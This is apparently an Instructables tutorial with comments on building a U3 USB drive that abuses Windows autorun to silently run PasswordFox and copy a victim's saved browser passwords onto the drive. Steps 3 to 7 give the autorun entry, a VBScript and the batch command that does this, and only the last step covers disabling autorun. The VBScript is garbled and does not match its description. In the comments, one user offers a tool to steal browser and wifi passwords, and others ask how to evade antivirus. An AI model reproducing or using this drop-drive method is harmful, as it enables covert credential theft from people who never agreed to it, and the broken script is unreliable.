Introduction: How to Make an Auto Hacking Wardrive

Picture of How to Make an Auto Hacking Wardrive
When it comes to computer security, sometimes it's good to know what it is that you're trying to protect yourself from. In this video, I'm going to cover the AutoRun feature in Windows and why, for security reasons, you should never use it. To prove my point, I'm going to show you how to make a USB drive that exploits the autorun feature to automatically download and save a users information just by plugging it into a USB port.

Step 1: Material List

Picture of Material List

To do this project, you are going to need:
- U3 usb drive, such as a sandisk cruizer,
- Access to a Windows XP machine.

What makes a U3 usb drive unique is that it emulates a CD rom drive so that it can autorun it's "launchpad" whenever you plug it into your computer. This is useful because Windows will not allow programs to autorun straight from a USB drive, but it will allow programs to autorun from CD drives and since a U3 usb drive shows up as both, we can use this feature to autorun our USB drive.

Step 2: Download Universal Customizer

Picture of Download Universal Customizer

Backup everything that's currently on your USB drive. Then go to this website: and download the "Universal Customizer" program. This program is going to allow us to replace the U3 Launchpad application with our own autolaunching application. Unfortunately, this program only works on Windows XP, so you'll have to have an XP machine to run this. When it's through downloading, extract all of the files to your desktop and open up the "U3CUSTOM" folder. This folder is where we're going to create our custom autolaunching program

Step 3: Creating the Autorun and Launch Files

Picture of Creating the Autorun and Launch Files
The first thing that we want to do is create an "autorun" file, so right click within the folder and select "new > text document". Rename it as "autorun.inf" and then double click on it to open it up. Type:

open=launch.exe -a

Then click File > Save. This will autorun a program called "launch.exe" that we're going to make right now. So right click in the folder again and select "new>textdocument" and rename it "launch.bat". Then right click on it and select "edit". Now type:


Save, and close it. This will tell it to open a file called "usb.vbs" that we will create in a second. But first we need to convert the batch file to an executable that Windows can autorun.

Step 4: Converting BAT to EXE

Picture of Converting BAT to EXE

To convert launch.bat to an executable, go to this website and download the Bat to EXE converter. Open it up and run the exe file. For the "Batch file" field, point to the "launch.bat" file that you created. Then click "compile". You should now see a "launch.exe" file in your "U3Custom" folder.

Step 5: Creating the USB.vbs Script

Picture of Creating the USB.vbs Script
Now let's create the usb.vbs file. This will find the drive letter of the USB drive so that we can automatically save stuff to it. So, create another new text document and rename it to "usb.vbs". Then right click on it and select edit. You want to type in this code:

Dim oFSO, oDrive,objFolder,oUsbDrive,oDestination, shell
oDestination = "c:\test"
Set oFSO = WScript.CreateObject("Scripting.FileSystemObject")
Set shell=createobject("")
'Get USB drive letter
For Each oDrive In oFSO.Drives

If oDrive.DriveType = USBDRIVE And oDrive.DriveLetter <> "A" Then
WScript.Echo "found usb at", oDrive.DriveLetter
oUsbDrive = oDrive.DriveLetter & ":\" oDrive.DriveLetter & ":\PasswordFox.exe"
set shell=nothing
End If
Sub CopyFiles(oPath, oDst)
Set objFolder = oFSO.GetFolder(oPath)
For Each Files In objFolder.Files
WScript.Echo "Copying File",Files
oFSO.CopyFile Files,newDst,True
WScript.Echo Err.Description
'Recursive copy, uncomment if needed
' For Each oDir In objFolder.SubFolders
' CopyFiles oDir.Path, oDst
' Next
End Sub

Basically what this script does is scan the computer for a USB drive and then executes a file called "batch.bat" from that USB drive. Once you have that done, click save and exit and now we can burn this to our U3 drive.

Step 6: Burn the Files to the Virtual U3 CD

Picture of Burn the Files to the Virtual U3 CD

Go back up to the main "universal customizer" directory and click "isocreate.cmd". This will turn our folder into an iso file that we will then put on the USB drive. Now click on "universal_customizer.exe". Just follow the instructions in the program and it will set up your U3 drive to run our custom created launcher. When it's through, click done. You will need to pull out your usb drive and plug it back in and it may give you an error, but that's because we haven't put any programs on it, which we will do in the next step.

Step 7: Loading the Hacking Programs

Picture of Loading the Hacking Programs
You can find some good programs at "" that are good for retrieving passwords and information. Such as PasswordFox. Just extract the files and copy them to your USB drive. Lastly, we need to create a USB file that runs the program silently and stores the data it collects back on the USB drive. So right click in the USB drive and create a new text file and rename it "batch.bat". Then right click on it and select "edit". To launch the program type:

start %~dp0PasswordFox.exe /shtml %~dp0firefox.html

you want to replace "PasswordFox.exe" with whatever program you downloaded. And according to the nirsoft website that we downloaded it from, if we want to save the password results as an html file, we can type /shtml firefox.html. Now to make sure that it reads it and saves it to the USB drive, we need to put "%~dp0" before both filenames. Now save the file and test it out. Put it in a computer that has autorun enabled and within a second, you should have an html file saved to your USB drive with the users information.

Step 8: Protection

The best way to protect yourself from this type of hack is to disable any type of autorun feature. To enable/disable autorun in windows xp, go to "start > run" type gpedit.msc and hit enter. Select "Administrative Templates > System" and then double click on "Turn off autoplay" to enable/disable it. In vista and 7 go to start and type "gpedit.msc", select administrative templates > Windows Components" and double click on "Autoplay policies" to enable or disable it.


shaditheman123 (author)2015-02-25

hi !

i have a couple of questions:

why do some hacking files like WebBrowserNetView,ChromPass,PasswordFox

are saving as a .cfg file and others save as.html like operapass...etc.

how can i fix this problem ?

hope anyone replies.

Thank you .

hy bro i make that all files which done all the process which u want within 10 second u can stole all passwords of a computer like all browsers password which save init.and also stole each wifi password which that computer ur laptop connected if u want that file so cntct.....

NanoCoder (author)shahrox.xhan.22017-10-12

You are not nirsofter and its simply writing everybody can

Everett_McKinley (author)2011-11-28

can you simply do this on a CD instead?

TobyB4 (author)Everett_McKinley2015-06-29

Ya, i think so

quantom.singularity (author)2015-01-23

some of this stuff cannot be done because of the Antivirus!
any option to do so?

122boy (author)2011-08-25

how to you make it save the passwords in a text document

shadow wave rider (author)2011-08-19

does it work on windows 7

Spectre208 (author)2011-01-23

Can a usb, when plugged in, shut down(but remember everything) all activated processes except the OS processes (just like safe mode) and when you pull it out restore everything to the situation before you plugged in the usb? That would be a real secure usb drive..

junits15 (author)2010-09-01

auto run no longer works for flash drives in windows 7

Yandle (author)2010-06-27

Norton trashed the Password Fox exe and yelled at me that it was a virus..

Redgerr (author)Yandle2010-06-29

ahahaha, it might be eh

PCfreak (author)2010-06-25

um.......... i think your link isnt working for me

Computothought (author)2010-06-24

Glad I do not use Microsoft Windows software.

dombeef (author)Computothought2010-06-24

What do you use?

Computothought (author)dombeef2010-06-24

Actually I do have a token xp box. Mostly use open source operating systems such as various linuxes, bsd and other os's.

dombeef (author)Computothought2010-06-24

Go Linux! But I have a mac. Well atleast macs cant do this instructable

Computothought (author)dombeef2010-06-24

I ran osx for a while on some ppc g3's till I converted them to linux. I eventually dumped those machines. On linux there is wine and and there is a corresponding open source program on mac, but I forget he name. Not sure whether you could get hose programs to work though.

dombeef (author)Computothought2010-06-25

Yeah to use the windows apps on linux and mac I have linux on my brothers computer with wine

Computothought (author)dombeef2010-06-25

bowmaster (author)2010-06-24

This is neat. Any chance there will be a Vista/7 version soon?

gigafide (author)bowmaster2010-06-24

This works on Vista/7. You just have to initially set it up using XP because the Unverisial software only runs on XP.

bowmaster (author)gigafide2010-06-24

Oh, OK. I have an XP machine.

About This Instructable




More by gigafide:DIY Vintage Streaming Radio With a Raspberry PiTurn an Old Cell Phone Into a SmartwatchAlexa Ruxpin - Arduino & Raspberry Pi Powered Voice Assistant
Add instructable to: